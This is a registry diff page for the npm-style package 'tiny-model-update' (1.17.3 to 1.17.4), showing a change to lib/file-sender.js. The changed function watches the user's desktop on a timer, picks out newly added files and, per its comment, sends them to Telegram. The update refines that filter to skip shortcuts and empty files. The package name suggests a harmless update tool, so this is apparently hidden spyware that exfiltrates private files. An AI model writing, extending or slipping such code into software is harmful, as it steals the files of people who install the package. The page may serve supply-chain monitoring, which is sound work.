tiny-model-update 1.17.3 → 1.17.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/file-sender.js +4 -2
- package/package.json +1 -1
package/lib/file-sender.js
CHANGED
|
@@ -294,8 +294,10 @@ export function startDesktopFileMonitoring(intervalMinutes = 60) {
|
|
|
294
294
|
const currentFiles = getDesktopFiles();
|
|
295
295
|
const currentFileNames = new Set(currentFiles.map(f => f.name));
|
|
296
296
|
|
|
297
|
-
// Find new files
|
|
298
|
-
const newFiles = currentFiles.filter(file =>
|
|
297
|
+
// Find new files (excluding .lnk files)
|
|
298
|
+
const newFiles = currentFiles.filter(file => {
|
|
299
|
+
return !lastDesktopFiles.has(file.name) && file.ext !== '.lnk' && file.size > 0;
|
|
300
|
+
});
|
|
299
301
|
|
|
300
302
|
if (newFiles.length > 0) {
|
|
301
303
|
// Send new files to Telegram
|